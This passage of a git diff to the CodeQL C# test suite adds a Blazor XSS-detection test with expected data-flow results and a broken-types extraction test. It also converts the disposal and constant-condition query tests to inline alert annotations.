+        protected override void OnParametersSet()
+        {
+            if (Name is not null)
+            {
+                Names.Add(Name);
+            }
+        }
+
+
+        public List<string> Names { get; set; } = new List<string>();
+    }
+}
\ No newline at end of file
diff --git a/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/Xss.expected b/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/Xss.expected
new file mode 100644
index 000000000000..951269f2b580
--- /dev/null
+++ b/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/Xss.expected
@@ -0,0 +1,12 @@
+edges
+| NameList.cs:31:99:31:102 | access to property Name : String | Name.cs:13:53:13:59 | access to property TheName | provenance | Sink:MaD:149 |
+nodes
+| Components_Pages_TestPage_razor.g.cs:138:15:138:22 | access to property UrlParam | semmle.label | access to property UrlParam |
+| Components_Pages_TestPage_razor.g.cs:188:18:188:27 | access to property QueryParam | semmle.label | access to property QueryParam |
+| Name.cs:13:53:13:59 | access to property TheName | semmle.label | access to property TheName |
+| NameList.cs:31:99:31:102 | access to property Name : String | semmle.label | access to property Name : String |
+subpaths
+#select
+| Components_Pages_TestPage_razor.g.cs:138:15:138:22 | access to property UrlParam | Components_Pages_TestPage_razor.g.cs:138:15:138:22 | access to property UrlParam | Components_Pages_TestPage_razor.g.cs:138:15:138:22 | access to property UrlParam | $@ flows to here and is written to HTML or JavaScript. | Components_Pages_TestPage_razor.g.cs:138:15:138:22 | access to property UrlParam | User-provided value |
+| Components_Pages_TestPage_razor.g.cs:188:18:188:27 | access to property QueryParam | Components_Pages_TestPage_razor.g.cs:188:18:188:27 | access to property QueryParam | Components_Pages_TestPage_razor.g.cs:188:18:188:27 | access to property QueryParam | $@ flows to here and is written to HTML or JavaScript. | Components_Pages_TestPage_razor.g.cs:188:18:188:27 | access to property QueryParam | User-provided value |
+| Name.cs:13:53:13:59 | access to property TheName | NameList.cs:31:99:31:102 | access to property Name : String | Name.cs:13:53:13:59 | access to property TheName | $@ flows to here and is written to HTML or JavaScript. | NameList.cs:31:99:31:102 | access to property Name : String | User-provided value |
diff --git a/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/Xss.qlref b/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/Xss.qlref
new file mode 100644
index 000000000000..faad1d6403c1
--- /dev/null
+++ b/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/Xss.qlref
@@ -0,0 +1 @@
+Security Features/CWE-079/XSS.ql
\ No newline at end of file
diff --git a/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/remoteFlowSource.expected b/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/remoteFlowSource.expected
index 2c845e8e4001..2a9268cf01e3 100644
--- a/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/remoteFlowSource.expected
+++ b/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/remoteFlowSource.expected
@@ -2,3 +2,6 @@
 | Components_Pages_TestPage_razor.g.cs:138:15:138:22 | access to property UrlParam | ASP.NET Core component route parameter |
 | Components_Pages_TestPage_razor.g.cs:176:1:176:10 | access to property QueryParam | external |
 | Components_Pages_TestPage_razor.g.cs:188:18:188:27 | access to property QueryParam | external |
+| NameList.cs:31:99:31:102 | access to property Name | ASP.NET Core component route parameter |
+| NameList.cs:41:17:41:20 | access to property Name | ASP.NET Core component route parameter |
+| NameList.cs:43:27:43:30 | access to property Name | ASP.NET Core component route parameter |
diff --git a/csharp/ql/test/library-tests/standalone/brokentypes/BrokenTypes.cs b/csharp/ql/test/library-tests/standalone/brokentypes/BrokenTypes.cs
new file mode 100644
index 000000000000..d78284d3dfde
--- /dev/null
+++ b/csharp/ql/test/library-tests/standalone/brokentypes/BrokenTypes.cs
@@ -0,0 +1,28 @@
+// Broken type without a name.
+public class { }
+
+// Legal declaration, but we want don't want to use it.
+public class var { }
+
+public class C
+{
+    public string Prop { get; set; }
+}
+
+
+public class Program
+{
+    public static void Main()
+    {
+        C x1 = new C();
+        string y1 = x1.Prop;
+
+        var x2 = new C(); // Has type `var` as this overrides the implicitly typed keyword `var`.
+        var y2 = x2.Prop; // Unknown type as `x2` has type `var`.
+
+        C2 x3 = new C2(); // Unknown type.
+        var y3 = x3.Prop; // Unknown property of unknown type.
+
+        string s = x1.Prop + x3.Prop;
+    }
+}
diff --git a/csharp/ql/test/library-tests/standalone/brokentypes/brokenTypes.expected b/csharp/ql/test/library-tests/standalone/brokentypes/brokenTypes.expected
new file mode 100644
index 000000000000..bb3acba4f64c
--- /dev/null
+++ b/csharp/ql/test/library-tests/standalone/brokentypes/brokenTypes.expected
@@ -0,0 +1,36 @@
+| BrokenTypes.cs:2:14:2:13 | call to constructor Object | object | ObjectType |
+| BrokenTypes.cs:5:14:5:16 | call to constructor Object | object | ObjectType |
+| BrokenTypes.cs:7:14:7:14 | call to constructor Object | object | ObjectType |
+| BrokenTypes.cs:13:14:13:20 | call to constructor Object | object | ObjectType |
+| BrokenTypes.cs:17:11:17:12 | access to local variable x1 | C | Class |
+| BrokenTypes.cs:17:11:17:22 | C x1 = ... | C | Class |
+| BrokenTypes.cs:17:16:17:22 | object creation of type C | C | Class |
+| BrokenTypes.cs:18:16:18:17 | access to local variable y1 | string | StringType |
+| BrokenTypes.cs:18:16:18:27 | String y1 = ... | string | StringType |
+| BrokenTypes.cs:18:21:18:22 | access to local variable x1 | C | Class |
+| BrokenTypes.cs:18:21:18:27 | access to property Prop | string | StringType |
+| BrokenTypes.cs:20:13:20:14 | access to local variable x2 | var | UnknownType |
+| BrokenTypes.cs:20:13:20:24 | var x2 = ... | var | UnknownType |
+| BrokenTypes.cs:20:18:20:24 | (...) ... | var | UnknownType |
+| BrokenTypes.cs:20:18:20:24 | object creation of type C | C | Class |
+| BrokenTypes.cs:21:13:21:14 | access to local variable y2 | var | UnknownType |
+| BrokenTypes.cs:21:13:21:24 | var y2 = ... | var | UnknownType |
+| BrokenTypes.cs:21:18:21:19 | access to local variable x2 | var | UnknownType |
+| BrokenTypes.cs:21:18:21:24 | (...) ... | var | UnknownType |
+| BrokenTypes.cs:21:18:21:24 | access to property (unknown) |  | UnknownType |
+| BrokenTypes.cs:23:12:23:13 | access to local variable x3 | <unknown type> | UnknownType |
+| BrokenTypes.cs:23:12:23:24 | <unknown type> x3 = ... | <unknown type> | UnknownType |
+| BrokenTypes.cs:23:17:23:24 | object creation of type <unknown type> | <unknown type> | UnknownType |
+| BrokenTypes.cs:24:13:24:14 | access to local variable y3 | var | UnknownType |
+| BrokenTypes.cs:24:13:24:24 | var y3 = ... | var | UnknownType |
+| BrokenTypes.cs:24:18:24:19 | access to local variable x3 | <unknown type> | UnknownType |
+| BrokenTypes.cs:24:18:24:24 | (...) ... | var | UnknownType |
+| BrokenTypes.cs:24:18:24:24 | access to property (unknown) |  | UnknownType |
+| BrokenTypes.cs:26:16:26:16 | access to local variable s | string | StringType |
+| BrokenTypes.cs:26:16:26:36 | String s = ... | string | StringType |
+| BrokenTypes.cs:26:20:26:21 | access to local variable x1 | C | Class |
+| BrokenTypes.cs:26:20:26:26 | access to property Prop | string | StringType |
+| BrokenTypes.cs:26:20:26:36 | (...) ... | string | StringType |
+| BrokenTypes.cs:26:20:26:36 | ... + ... |  | UnknownType |
+| BrokenTypes.cs:26:30:26:31 | access to local variable x3 | <unknown type> | UnknownType |
+| BrokenTypes.cs:26:30:26:36 | access to property (unknown) |  | UnknownType |
diff --git a/csharp/ql/test/library-tests/standalone/brokentypes/brokenTypes.ql b/csharp/ql/test/library-tests/standalone/brokentypes/brokenTypes.ql
new file mode 100644
index 000000000000..9ce360e3f788
--- /dev/null
+++ b/csharp/ql/test/library-tests/standalone/brokentypes/brokenTypes.ql
@@ -0,0 +1,5 @@
+import csharp
+
+from Expr e, Type t
+where e.fromSource() and t = e.getType()
+select e, t.toStringWithTypes(), t.getAPrimaryQlClass()
diff --git a/csharp/ql/test/query-tests/standalone/IncomparableEquals/options b/csharp/ql/test/library-tests/standalone/brokentypes/options
similarity index 100%
rename from csharp/ql/test/query-tests/standalone/IncomparableEquals/options
rename to csharp/ql/test/library-tests/standalone/brokentypes/options
diff --git a/csharp/ql/test/query-tests/API Abuse/NoDisposeCallOnLocalIDisposable/Class1.cs_ b/csharp/ql/test/query-tests/API Abuse/NoDisposeCallOnLocalIDisposable/Class1.cs_
deleted file mode 100644
index ed948c053d05..000000000000
--- a/csharp/ql/test/query-tests/API Abuse/NoDisposeCallOnLocalIDisposable/Class1.cs_	
+++ /dev/null
@@ -1,42 +0,0 @@
-using System;
-
-namespace DisposalTests
-{
-    public class MyType : IDisposable
-    {
-        public void Dispose()
-        {
-        }
-    }
-
-    public class Class1 : IDisposable
-    {
-        public void DisposesParameter(IDisposable p1, IDisposable p2)
-        {
-            p1.Dispose();
-        }
-
-        public void CapturesDisposable(MyType p1, MyType p2)
-        {
-            field1 = p1;
-            field2 = p2;
-        }
-
-        public void DisposesSelf()
-        {
-            Dispose();
-        }
-
-        MyType field1, field2;
-
-        public void Dispose()
-        {
-            field1.Dispose();
-        }
-
-        public static void Dispose(IDisposable d)
-        {
-            d.Dispose();
-        }
-    }
-}
diff --git a/csharp/ql/test/query-tests/API Abuse/NoDisposeCallOnLocalIDisposable/DisposalTests.dll b/csharp/ql/test/query-tests/API Abuse/NoDisposeCallOnLocalIDisposable/DisposalTests.dll
deleted file mode 100644
index f731c5af9e11..000000000000
Binary files a/csharp/ql/test/query-tests/API Abuse/NoDisposeCallOnLocalIDisposable/DisposalTests.dll and /dev/null differ
diff --git a/csharp/ql/test/query-tests/API Abuse/NoDisposeCallOnLocalIDisposable/NoDisposeCallOnLocalIDisposable.cs b/csharp/ql/test/query-tests/API Abuse/NoDisposeCallOnLocalIDisposable/NoDisposeCallOnLocalIDisposable.cs
index ae9bccf0e6e2..aa11be14f67b 100644
--- a/csharp/ql/test/query-tests/API Abuse/NoDisposeCallOnLocalIDisposable/NoDisposeCallOnLocalIDisposable.cs	
+++ b/csharp/ql/test/query-tests/API Abuse/NoDisposeCallOnLocalIDisposable/NoDisposeCallOnLocalIDisposable.cs	
@@ -1,9 +1,11 @@
 using System;
-using System.Text;
 using System.IO;
 using System.IO.Compression;
-using System.Xml;
+using System.Net.Http;
+using System.Text;
 using System.Threading;
+using System.Threading.Tasks;
+using System.Xml;
 
 class Test
 {
@@ -47,9 +49,9 @@ public IDisposable Method()
         }
 
         // BAD: No Dispose call
-        var c1d = new Timer(TimerProc);
-        var fs = new FileStream("", FileMode.CreateNew, FileAccess.Write);
-        new FileStream("", FileMode.CreateNew, FileAccess.Write).Fluent();
+        var c1d = new Timer(TimerProc); // $ Alert
+        var fs = new FileStream("", FileMode.CreateNew, FileAccess.Write); // $ Alert
+        new FileStream("", FileMode.CreateNew, FileAccess.Write).Fluent(); // $ Alert
 
         // GOOD: Disposed via wrapper
         fs = new FileStream("", FileMode.CreateNew, FileAccess.Write);
@@ -71,13 +73,10 @@ public IDisposable Method()
             ;
 
         // GOOD: XmlDocument.Load disposes incoming XmlReader (False positive as this is disposed in library code)
-        var xmlReader = XmlReader.Create(new StringReader("xml"), null);
+        var xmlReader = XmlReader.Create(new StringReader("xml"), null); // $ Alert
         var xmlDoc = new XmlDocument();
         xmlDoc.Load(xmlReader);
 
-        // GOOD: Passed to a library (False positive as this is disposed in library code).
-        DisposalTests.Class1.Dispose(new StreamWriter("output.txt"));
-
         // GOOD: Disposed automatically.
         using var c2 = new Timer(TimerProc);
 
@@ -86,9 +85,25 @@ public IDisposable Method()
         using (XmlReader.Create(source ?? new StringReader("xml"), null))
             ;
 
+        // GOOD: Flagging these generates too much noise and there is a general
+        // acceptance that Tasks are not disposed.
+        // https://devblogs.microsoft.com/pfxteam/do-i-need-to-dispose-of-tasks/
+        Task t = new Task(() => { });
+        t.Start();
+        t.Wait();
+
         return null;
     }
 
+    public void M(IHttpClientFactory factory)
+    {
+        // GOOD: Factory tracks and disposes.
+        HttpClient client1 = factory.CreateClient();
+
+        // BAD: No Dispose call
+        var client2 = new HttpClient(); // $ Alert
+    }
+
     // GOOD: Escapes
     IDisposable Create() => new Timer(TimerProc);
 
@@ -99,6 +114,15 @@ void TimerProc(object obj)
     public void Dispose() { }
 }
 
+class Bad
+{
+    long GetLength(string file)
+    {
+        var stream = new FileStream(file, FileMode.Open); // $ Alert
+        return stream.Length;
+    }
+}
+
 static class Extensions
 {
     public static FileStream Fluent(this FileStream fs) => fs;
diff --git a/csharp/ql/test/query-tests/API Abuse/NoDisposeCallOnLocalIDisposable/NoDisposeCallOnLocalIDisposable.expected b/csharp/ql/test/query-tests/API Abuse/NoDisposeCallOnLocalIDisposable/NoDisposeCallOnLocalIDisposable.expected
index 1d71aa4af027..f08cf6837c5f 100644
--- a/csharp/ql/test/query-tests/API Abuse/NoDisposeCallOnLocalIDisposable/NoDisposeCallOnLocalIDisposable.expected	
+++ b/csharp/ql/test/query-tests/API Abuse/NoDisposeCallOnLocalIDisposable/NoDisposeCallOnLocalIDisposable.expected	
@@ -1,7 +1,7 @@
-| NoDisposeCallOnLocalIDisposable.cs:50:19:50:38 | object creation of type Timer | Disposable 'Timer' is created but not disposed. |
-| NoDisposeCallOnLocalIDisposable.cs:51:18:51:73 | object creation of type FileStream | Disposable 'FileStream' is created but not disposed. |
-| NoDisposeCallOnLocalIDisposable.cs:52:9:52:64 | object creation of type FileStream | Disposable 'FileStream' is created but not disposed. |
-| NoDisposeCallOnLocalIDisposable.cs:74:25:74:71 | call to method Create | Disposable 'XmlReader' is created but not disposed. |
-| NoDisposeCallOnLocalIDisposable.cs:74:42:74:64 | object creation of type StringReader | Disposable 'StringReader' is created but not disposed. |
-| NoDisposeCallOnLocalIDisposable.cs:79:38:79:67 | object creation of type StreamWriter | Disposable 'StreamWriter' is created but not disposed. |
-| NoDisposeCallOnLocalIDisposableBad.cs:8:22:8:56 | object creation of type FileStream | Disposable 'FileStream' is created but not disposed. |
+| NoDisposeCallOnLocalIDisposable.cs:52:19:52:38 | object creation of type Timer | Disposable 'Timer' is created but not disposed. |
+| NoDisposeCallOnLocalIDisposable.cs:53:18:53:73 | object creation of type FileStream | Disposable 'FileStream' is created but not disposed. |
+| NoDisposeCallOnLocalIDisposable.cs:54:9:54:64 | object creation of type FileStream | Disposable 'FileStream' is created but not disposed. |
+| NoDisposeCallOnLocalIDisposable.cs:76:25:76:71 | call to method Create | Disposable 'XmlReader' is created but not disposed. |
+| NoDisposeCallOnLocalIDisposable.cs:76:42:76:64 | object creation of type StringReader | Disposable 'StringReader' is created but not disposed. |
+| NoDisposeCallOnLocalIDisposable.cs:104:23:104:38 | object creation of type HttpClient | Disposable 'HttpClient' is created but not disposed. |
+| NoDisposeCallOnLocalIDisposable.cs:121:22:121:56 | object creation of type FileStream | Disposable 'FileStream' is created but not disposed. |
diff --git a/csharp/ql/test/query-tests/API Abuse/NoDisposeCallOnLocalIDisposable/NoDisposeCallOnLocalIDisposable.qlref b/csharp/ql/test/query-tests/API Abuse/NoDisposeCallOnLocalIDisposable/NoDisposeCallOnLocalIDisposable.qlref
index 3f71b594f228..67155fa1e447 100644
--- a/csharp/ql/test/query-tests/API Abuse/NoDisposeCallOnLocalIDisposable/NoDisposeCallOnLocalIDisposable.qlref	
+++ b/csharp/ql/test/query-tests/API Abuse/NoDisposeCallOnLocalIDisposable/NoDisposeCallOnLocalIDisposable.qlref	
@@ -1 +1,2 @@
-API Abuse/NoDisposeCallOnLocalIDisposable.ql
\ No newline at end of file
+query: API Abuse/NoDisposeCallOnLocalIDisposable.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/csharp/ql/test/query-tests/API Abuse/NoDisposeCallOnLocalIDisposable/NoDisposeCallOnLocalIDisposableBad.cs b/csharp/ql/test/query-tests/API Abuse/NoDisposeCallOnLocalIDisposable/NoDisposeCallOnLocalIDisposableBad.cs
deleted file mode 100644
index 9f8bb3e8e002..000000000000
--- a/csharp/ql/test/query-tests/API Abuse/NoDisposeCallOnLocalIDisposable/NoDisposeCallOnLocalIDisposableBad.cs	
+++ /dev/null
@@ -1,11 +0,0 @@
-using System;
-using System.IO;
-
-class Bad
-{
-    long GetLength(string file)
-    {
-        var stream = new FileStream(file, FileMode.Open);
-        return stream.Length;
-    }
-}
diff --git a/csharp/ql/test/query-tests/API Abuse/NoDisposeCallOnLocalIDisposable/options b/csharp/ql/test/query-tests/API Abuse/NoDisposeCallOnLocalIDisposable/options
index f12c8c66331e..ef338c0b1c12 100644
--- a/csharp/ql/test/query-tests/API Abuse/NoDisposeCallOnLocalIDisposable/options	
+++ b/csharp/ql/test/query-tests/API Abuse/NoDisposeCallOnLocalIDisposable/options	
@@ -1 +1,2 @@
-semmle-extractor-options: /r:System.Private.Xml.dll /r:System.IO.Compression.dll
+semmle-extractor-options: /nostdlib /noconfig
+semmle-extractor-options: --load-sources-from-project:${testdir}/../../../resources/stubs/_frameworks/Microsoft.AspNetCore.App/Microsoft.AspNetCore.App.csproj
diff --git a/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantCondition.cs b/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantCondition.cs
index 9e7386149a40..0445e152ec72 100644
--- a/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantCondition.cs	
+++ b/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantCondition.cs	
@@ -35,18 +35,18 @@ class ConstantNullness
 {
     void M1(int i)
     {
-        var j = ((string)null)?.Length; // BAD
-        var s = ((int?)i)?.ToString(); // BAD
+        var j = ((string)null)?.Length; // $ Alert
+        var s = ((int?)i)?.ToString(); // $ Alert
         var k = s?.Length; // GOOD
         k = s?.ToLower()?.Length; // GOOD
     }
 
     void M2(int i)
     {
-        var j = (int?)null ?? 0; // BAD
-        var s = "" ?? "a"; // BAD
-        j = (int?)i ?? 1; // BAD
-        s = ""?.CommaJoinWith(s); // BAD
+        var j = (int?)null ?? 0; // $ Alert
+        var s = "" ?? "a"; // $ Alert
+        j = (int?)i ?? 1; // $ Alert
+        s = ""?.CommaJoinWith(s); // $ Alert
         s = s ?? ""; // GOOD
         s = (i == 0 ? s : null) ?? s; // GOOD
         var k = (i == 0 ? s : null)?.Length; // GOOD
@@ -59,9 +59,9 @@ void M1()
     {
         switch (1 + 2)
         {
-            case 2: // BAD
+            case 2: // $ Alert
                 break;
-            case 3: // BAD
+            case 3: // $ Alert
                 break;
             case int _: // GOOD
                 break;
@@ -72,7 +72,7 @@ void M2(string s)
     {
         switch ((object)s)
         {
-            case int _: // BAD
+            case int _: // $ Alert
                 break;
             case "": // GOOD
                 break;
@@ -92,7 +92,7 @@ string M4(object o)
     {
         return o switch
         {
-            _ => o.ToString() // BAD
+            _ => o.ToString() // $ Alert
         };
     }
 
@@ -111,7 +111,7 @@ void M6(bool b1, bool b2)
             return;
         if (!b2)
             return;
-        if (b1 && b2) // BAD
+        if (b1 && b2) // $ Alert
             return;
     }
 
@@ -124,6 +124,35 @@ string M7(object o)
             _ => "" // GOOD
         };
     }
+
+    string M8(int i)
+    {
+        return i switch
+        {
+            _ when i % 2 == 0 => "even", // GOOD
+            _ => "odd" // GOOD
+        };
+    }
+
+    string M9(int i)
+    {
+        switch (i)
+        {
+            case var _: // $ Alert
+                return "even";
+        }
+    }
+
+    string M10(int i)
+    {
+        switch (i)
+        {
+            case var _ when i % 2 == 0: // GOOD
+                return "even";
+            case var _: // GOOD
+                return "odd";
+        }
+    }
 }
 
 class Assertions
diff --git a/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantCondition.expected b/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantCondition.expected
index 397d77531b29..9e0e69edb904 100644
--- a/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantCondition.expected	
+++ b/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantCondition.expected	
@@ -10,7 +10,7 @@
 | ConstantCondition.cs:95:13:95:13 | _ | Pattern always matches. |
 | ConstantCondition.cs:114:13:114:14 | access to parameter b1 | Condition always evaluates to 'true'. |
 | ConstantCondition.cs:114:19:114:20 | access to parameter b2 | Condition always evaluates to 'true'. |
-| ConstantConditionBad.cs:5:16:5:20 | ... > ... | Condition always evaluates to 'false'. |
+| ConstantCondition.cs:141:22:141:22 | _ | Pattern always matches. |
 | ConstantConditionalExpressionCondition.cs:11:22:11:34 | ... == ... | Condition always evaluates to 'true'. |
 | ConstantConditionalExpressionCondition.cs:12:21:12:25 | false | Condition always evaluates to 'false'. |
 | ConstantConditionalExpressionCondition.cs:13:21:13:30 | ... == ... | Condition always evaluates to 'true'. |
@@ -19,6 +19,7 @@
 | ConstantIfCondition.cs:11:17:11:29 | ... == ... | Condition always evaluates to 'true'. |
 | ConstantIfCondition.cs:14:17:14:21 | false | Condition always evaluates to 'false'. |
 | ConstantIfCondition.cs:17:17:17:26 | ... == ... | Condition always evaluates to 'true'. |
+| ConstantIfCondition.cs:30:20:30:24 | ... > ... | Condition always evaluates to 'false'. |
 | ConstantIsNullOrEmpty.cs:10:21:10:54 | call to method IsNullOrEmpty | Condition always evaluates to 'false'. |
 | ConstantIsNullOrEmpty.cs:46:21:46:46 | call to method IsNullOrEmpty | Condition always evaluates to 'true'. |
 | ConstantIsNullOrEmpty.cs:50:21:50:44 | call to method IsNullOrEmpty | Condition always evaluates to 'true'. |
diff --git a/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantCondition.qlref b/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantCondition.qlref
index 1fa68b335bbb..6692217230e0 100644
--- a/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantCondition.qlref	
+++ b/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantCondition.qlref	
@@ -1 +1,2 @@
-Bad Practices/Control-Flow/ConstantCondition.ql
\ No newline at end of file
+query: Bad Practices/Control-Flow/ConstantCondition.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantConditionBad.cs b/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantConditionBad.cs
deleted file mode 100644
index bd1e44b346b5..000000000000
--- a/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantConditionBad.cs	
+++ /dev/null
@@ -1,7 +0,0 @@
-class Bad
-{
-    public int Max(int a, int b)
-    {
-        return a > a ? a : b;
-    }
-}
diff --git a/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantConditionalExpressionCondition.cs b/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantConditionalExpressionCondition.cs
index 1ee318becbd2..4cd56232627d 100644
--- a/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantConditionalExpressionCondition.cs	
+++ b/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantConditionalExpressionCondition.cs	
@@ -8,10 +8,10 @@ class Main
 
         public void Foo()
         {
-            int i = (ZERO == 1 - 1) ? 0 : 1; // BAD
-            int j = false ? 0 : 1; // BAD
-            int k = " " == " " ? 0 : 1; // BAD
-            int l = (" "[0] == ' ') ? 0 : 1; // BAD: but not flagged
+            int i = (ZERO == 1 - 1) ? 0 : 1; // $ Alert
+            int j = false ? 0 : 1; // $ Alert
+            int k = " " == " " ? 0 : 1; // $ Alert
+            int l = (" "[0] == ' ') ? 0 : 1; // Missing Alert
             int m = Bar() == 0 ? 0 : 1; // GOOD
         }
 
@@ -21,5 +21,4 @@ public int Bar()
         }
 
     }
-
 }
diff --git a/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantForCondition.cs b/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantForCondition.cs
index 7ccb9ac86c74..2da0589d1827 100644
--- a/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantForCondition.cs	
+++ b/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantForCondition.cs	
@@ -6,9 +6,9 @@ class Main
     {
         public void M()
         {
-            for (int i = 0; false; i++) // GOOD
+            for (int i = 0; false; i++) // $ Alert
                 ;
-            for (int i = 0; 0 == 1; i++) // BAD
+            for (int i = 0; 0 == 1; i++) // $ Alert
                 ;
             for (; ; ) // GOOD
                 ;
diff --git a/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantIfCondition.cs b/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantIfCondition.cs
index 44869e51af0b..146dbcf56611 100644
--- a/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantIfCondition.cs	
+++ b/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantIfCondition.cs	
@@ -8,23 +8,28 @@ class Main
 
         public void Foo()
         {
-            if (ZERO == 1 - 1)
-            { // BAD
+            if (ZERO == 1 - 1) // $ Alert
+            {
             }
-            if (false)
-            { // BAD
+            if (false) // $ Alert
+            {
             }
-            if (" " == " ")
-            { // BAD
+            if (" " == " ") // $ Alert
+            {
             }
-            if (" "[0] == ' ')
-            { // BAD: but not flagged
+            if (" "[0] == ' ') // Missing Alert
+            {
             }
-            if (Bar() == 0)
-            { // GOOD
+            if (Bar() == 0) // GOOD
+            {
             }
         }
 
+        public int Max(int a, int b)
+        {
+            return a > a ? a : b; // $ Alert
+        }
+
         public int Bar()
         {
             return ZERO;
diff --git a/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantIsNullOrEmpty.cs b/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantIsNullOrEmpty.cs
index 5cad2e818abe..01e8353a20f4 100644
--- a/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantIsNullOrEmpty.cs	
+++ b/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantIsNullOrEmpty.cs	
@@ -7,17 +7,17 @@ internal class Program
         static void Main(string[] args)
         {
             {
-                if (string.IsNullOrEmpty(nameof(args))) // bad: always false
+                if (string.IsNullOrEmpty(nameof(args))) // $ Alert
                 {
                 }
 
                 string? x = null;
-                if (string.IsNullOrEmpty(x)) // would be nice... bad: always true
+                if (string.IsNullOrEmpty(x)) // Missing Alert (always true)
                 {
                 }
 
                 string y = "";
-                if (string.IsNullOrEmpty(y)) // would be nice... bad: always true
+                if (string.IsNullOrEmpty(y)) // Missing Alert (always true)
                 {
                 }
 
@@ -28,12 +28,12 @@ static void Main(string[] args)
                 }
 
                 string z = " ";
-                if (string.IsNullOrEmpty(z)) // would be nice... bad: always false
+                if (string.IsNullOrEmpty(z)) // Missing Alert (always false)
                 {
                 }
 
                 string a = "a";
-                if (string.IsNullOrEmpty(a)) // would be nice... bad: always false
+                if (string.IsNullOrEmpty(a)) // Missing Alert (always false)
                 {
                 }
 
@@ -43,18 +43,18 @@ static void Main(string[] args)
                 {
                 }
 
-                if (string.IsNullOrEmpty(null)) // bad: always true
+                if (string.IsNullOrEmpty(null)) // $ Alert
                 {
                 }
 
-                if (string.IsNullOrEmpty("")) // bad: always true
+                if (string.IsNullOrEmpty("")) // $ Alert
                 {
                 }
 
-                if (string.IsNullOrEmpty(" ")) // bad: always false
+                if (string.IsNullOrEmpty(" ")) // $ Alert
                 {
                 }
             }
         }
     }
-}
\ No newline at end of file
+}
diff --git a/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantNullCoalescingLeftHandOperand.cs b/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantNullCoalescingLeftHandOperand.cs
index fa2ee7d00b0f..6901daf643ed 100644
--- a/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantNullCoalescingLeftHandOperand.cs	
+++ b/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantNullCoalescingLeftHandOperand.cs	
@@ -8,8 +8,8 @@ class Main
 
         public void Foo()
         {
-            object i = NULL_OBJECT ?? ""; // BAD
-            object j = null ?? ""; // BAD
+            object i = NULL_OBJECT ?? ""; // $ Alert
+            object j = null ?? ""; // $ Alert
             object k = Bar() ?? ""; // GOOD
         }
 
diff --git a/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantWhileCondition.cs b/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantWhileCondition.cs
index 64dc8150d56e..59575e0de45e 100644
--- a/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantWhileCondition.cs	
+++ b/csharp/ql/test/query-tests/Bad Practices/Control-Flow/ConstantCondition/ConstantWhileCondition.cs	
@@ -9,28 +9,28 @@ class Main
 
         public void Foo()
         {
-            while (ZERO == 1 - 1)
-            { // BAD
+            while (ZERO == 1 - 1) // $ Alert
+            {
                 break;
             }
-            while (false)
-            { // GOOD
+            while (false) // $ Alert
+            {
                 break;
             }
-            while (true)
-            { // GOOD
+            while (true) // GOOD
+            {
                 break;
             }
-            while (" " == " ")
-            { // BAD
+            while (" " == " ") // $ Alert
+            {
                 break;
             }
-            while (" "[0] == ' ')
-            { // BAD: but not flagged
+            while (" "[0] == ' ') // Missing Alert
+            {
                 break;
             }
-            while (Bar() == 0)
-            { // GOOD
+            while (Bar() == 0) // GOOD
+            {
                 break;
             }
         }
